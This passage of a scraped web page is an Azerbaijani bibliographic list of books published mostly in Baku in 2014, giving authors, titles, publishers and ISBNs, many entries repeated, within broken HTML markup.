ISBN&nbsp; :&nbsp;&nbsp; 9789952268102</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Carnegie, D . Dost qazanmaq və adamlara təsir göstərmək sənəti&nbsp; .&nbsp; Bakı : Qanun , 2014 . ISBN&nbsp; :&nbsp; 9789952268515</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ceferli , G . Rusça-Türkçe matematik sözlük&nbsp;&nbsp; . Bakı : “OL “ MMC , 2014 . ISBN&nbsp; :&nbsp;&nbsp; 9789952494372</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Cəfərov, E. S. Fizika. Bakı: Azərnəşr, 2014.</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Cəfərov, E. S. Fizika. Bakı: Azərnəşr, 2014.</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Cəfərov, F. Funksionla qida məhsullarının texnologiyası. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495331</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Cəfərov, F. Funksionla qida məhsullarının texnologiyası. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495331</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Cəfərova , Z. B. Rəsmi-İnzibati üslub .&nbsp; Bakı : Bakı Universiteti&nbsp; , 2013 . ISBN&nbsp; :&nbsp; 9789952808865</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Clezio, L .&nbsp; Səhra . Bakı : Qanun , 2014 . ISBN&nbsp; :&nbsp; 9789952268881</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Coetzee, J. M. Barbaraları gözləyərkən. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267310</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Coetzee, J. M. Barbaraları gözləyərkən. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267310</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Coetzee, J. M. Gənclik. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267303</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Coetzee, J. M. Gənclik. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267303</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Coetzee, J. M. Maykl K.-nın həyatı və zəmanəsi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267297</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Coetzee, J. M. Maykl K.-nın həyatı və zəmanəsi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267297</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Coetzee, J. M. Rüsvayçılıq. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267327</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Coetzee, J. M. Rüsvayçılıq. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267327</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Coleman, J . Komitet 300 dünya hökümətinin sirləri . Bakı : Qanun, 2014 . ISBN : 9789952268966</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Collins, S. Aclıq oyunları. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267143</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Collins, S. Aclıq oyunları. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267143</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Covanyoli, R. Spartak. Bakı: Altun kitab nəşriyyatı, 2014. ISBN: 978 9952241846</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Covanyoli, R. Spartak. Bakı: Altun kitab nəşriyyatı, 2014. ISBN: 978 9952241846</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Çələbi, B. Rusiya mafiyasının liderləri: Moskva. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266481</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Çələbi, B. Rusiya mafiyasının liderləri: Moskva. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266481</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Çimən, Ə. Tarixi dəyişdirən məxfi servislər. Bakı: Qələm, 2014. ISBN: 9789952468328</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Çimən, Ə. Tarixi dəyişdirən məxfi servislər. Bakı: Qələm, 2014. ISBN: 9789952468328</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Çokor, F. T. Axınla birgə. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266955</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Çokor, F. T. Axınla birgə. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266955</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Çopiç , B .&nbsp; Özümüz zillətdə,xəyalımız cənnətdə . Bakı : Qanun , 2014. ISBN:&nbsp; 9789952268539</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dictionary of energy term: explanatory glossart on oil and natural gas sector of Azerbaijan. Baku: Qafqaz University, 2014. ISBN: 9789952468274</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dictionary of energy term: explanatory glossart on oil and natural gas sector of Azerbaijan. Baku: Qafqaz University, 2014. ISBN: 9789952468274</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dikkens, Ç. Devid Kopperfild. Bakı: Altun Kitab nəşriyyatı, 2014. ISBN: 9789952242010</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dikkens, Ç. Devid Kopperfild. Bakı: Altun Kitab nəşriyyatı, 2014. ISBN: 9789952242010</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dirie, V. Səhra Çiçəyi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267112</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dirie, V. Səhra Çiçəyi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267112</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dobelli, R. Məntiqli düşünmə sənəti. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266757</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dobelli, R. Məntiqli düşünmə sənəti. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266757</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dostoyevski, F. Alçaldılmış və təhqir edilmiş insanlar. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267105</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dostoyevski, F. Alçaldılmış və təhqir edilmiş insanlar. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267105</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dostoyevski, F. Yeniyetmə. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267198</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dostoyevski, F. Yeniyetmə. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267198</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">&nbsp;Dovlatov, S .&nbsp; Zona həbsxana nəzarətçisinin qeydləri . Bakı : Qanun , 2014. ISBN:&nbsp;&nbsp; 9789952269178</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dovlatov, S. Əcnəbi qadın. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266641</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dovlatov, S. Əcnəbi qadın. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266641</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Doyl , A . K . Şerlok Holmsun macəraları&nbsp; .&nbsp; Bakı : Qanun , 2014 . ISBN&nbsp; :&nbsp; 9789952268218</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Doyl, A. K. Al – qırmızı etüd: Şerlok Holmsun macəraları. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267778</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Doyl, A. K. Al – qırmızı etüd: Şerlok Holmsun macəraları. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267778</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Doyl, A. K. Dördlərin işarəsi: Şerlok Holmsun macəraları. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268188</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Doyl, A. K. Dördlərin işarəsi: Şerlok Holmsun macəraları. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268188</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Doyl, A. K. Qorxu vadisi: Şerlok Holmsun macəraları. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267358</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Doyl, A. K. Qorxu vadisi: Şerlok Holmsun macəraları. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267358</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Drayzer , T . Kerri bacı&nbsp; . Bakı : Qanun , 2014 . ISBN&nbsp; :&nbsp;&nbsp; 9789952268010</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Drayzer, T .&nbsp; Cenni herhardt . Bakı : Qanun , 2014 .&nbsp; ISBN :&nbsp; 9789952268911</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dükan, P. Mən arıqlaya bilmirəm. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266771</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dükan, P. Mən arıqlaya bilmirəm. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266771</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Düma, A . Qafqaz səfəri&nbsp; .&nbsp; Bakı : Qanun , 2014 . ISBN&nbsp; :&nbsp;&nbsp; 9789952267921</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Epperson, R . Gözəgörünməz əl .&nbsp;&nbsp; Bakı : Qanun&nbsp; , 2014 . ISBN&nbsp; :&nbsp;&nbsp; 9789952267655</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əbdülrəhmanlı , N.&nbsp; Qurban roman-xronika . Bakı: Qanun, 2014. ISBN : 9789952269123</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əfəndiyeva, İ. Axtarış yollarının bəhrəsi. Bakı: Zərdabi LTD MMC, 2014. ISBN: 9789952460414</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əfəndiyeva, İ. Axtarış yollarının bəhrəsi. Bakı: Zərdabi LTD MMC, 2014. ISBN: 9789952460414</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">&nbsp;Əliyev, E .&nbsp; Avropa cinayət hüququ . Bakı : Kooperasiya, 2015.&nbsp; ISBN : 9789952826531</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əliyev, E. Avropa əqli mülkiyyət hüququ. Bakı: \"UniPrint\" nəşriyyat-poliqrafiya müəssisəsi, 2014. ISBN: 97899524403411</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əliyev, E. Avropa əqli mülkiyyət hüququ. Bakı: \"UniPrint\" nəşriyyat-poliqrafiya müəssisəsi, 2014. ISBN: 97899524403411</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əliyev, E. Avropa nəqliyyat hüququ. Bakı: Uni – Print nəşriyyat – poliqrafiya müəssisəsi, 2014. ISBN: 97899524403410</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əliyev, E. Avropa nəqliyyat hüququ. Bakı: Uni – Print nəşriyyat – poliqrafiya müəssisəsi, 2014. ISBN: 97899524403410</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əliyev, Q. Bir bölüyün manifesti .Bakı : Elm və təhsil , 2015. ISBNI: 9789952826524</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əliyev, R. T. Stres və bitkilərin adaptasiyası. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952453909</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əliyev, R. T. Stres və bitkilərin adaptasiyası. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952453909</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əliyev, R. Türk mifoloji düçüncəsi və onun epik transformasiyaları. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495270</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əliyev, R. Türk mifoloji düçüncəsi və onun epik transformasiyaları. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495270</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">&nbsp;Əliyev,E .&nbsp; Avropa əmək hüququ. 2015 . ISBN 9789952827217</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əliyeva, G. Türk təsəvvüf fəlsəfəsi: II hissə. Bakı: Proqres, 2014. ISBN: 9789952820799</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əliyeva, G. Türk təsəvvüf fəlsəfəsi: II hissə. Bakı: Proqres, 2014. ISBN: 9789952820799</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ən yeni rus ədəbiyyatı: antologiya. I cild. Bakı: Mütərcim, 2014. ISBN: 9789952281736</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ən yeni rus ədəbiyyatı: antologiya. I cild. Bakı: Mütərcim, 2014. ISBN: 9789952281736</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ən yeni rus ədəbiyyatı: antologiya. II cild. Bakı: Mütərcim, 2014. ISBN: 9789952281903</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ən yeni rus ədəbiyyatı: antologiya. II cild. Bakı: Mütərcim, 2014. ISBN: 9789952281903</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əsəd Bəy . Qafqazın on iki sirri&nbsp; .&nbsp; Bakı : Qanun , 2014.&nbsp; ISBN&nbsp; : 9789952268096</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əsədov, E. Qloballaşma şəraitində müharibə və sülh problemi. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495225</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əsədov, E. Qloballaşma şəraitində müharibə və sülh problemi. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495225</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əsgərli, S. Çarə Sizsiniz. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266894</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əsgərli, S. Çarə Sizsiniz. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266894</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əzəmət, Z. Balaca adam. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267703</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əzəmət, Z. Balaca adam. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267703</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əzim, E. İllərin o tayı. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267365</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əzim, E. İllərin o tayı. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267365</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Fərzəliyev,V. M. Kimya və həyat. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495294</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Fərzəliyev,V. M. Kimya və həyat. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495294</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Flober, Q. Sadəlövh. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267952</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Flober, Q. Sadəlövh. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267952</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Fox, J .J . Necə böyük rəhbər olmalı&nbsp; .&nbsp; Bakı : Qanun , 2014 . ISBN&nbsp; :&nbsp; 9789952268652</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Foks, L. Şahə qalxan dalğalar. Bakı: TEAS Press nəşriyyat evi, 2014. ISBN: 9789952494518</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Foks, L. Şahə qalxan dalğalar. Bakı: TEAS Press nəşriyyat evi, 2014. ISBN: 9789952494518</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Frank, A. Gündəlik. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267990</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Frank, A. Gündəlik. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267990</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Freyd, Z. Yuxuların yozumu. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267259</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Freyd, Z. Yuxuların yozumu. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267259</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Gəncəv i, N .&nbsp; Sirlər xəzinəsi .&nbsp; Bakı :&nbsp; Qanun, 2014 . ISBN : 9789952268089</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Gilbert, E. Ye, dua et, sev. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266313</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Gilbert, E. Ye, dua et, sev. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266313</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Gündüz, A. Türk dilində kimlik bildirən sözlər. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268294</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Gündüz, A. Türk dilində kimlik bildirən sözlər. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268294</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hacı, K. Rəqqasə. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267907</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hacı, K. Rəqqasə. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267907</p><p 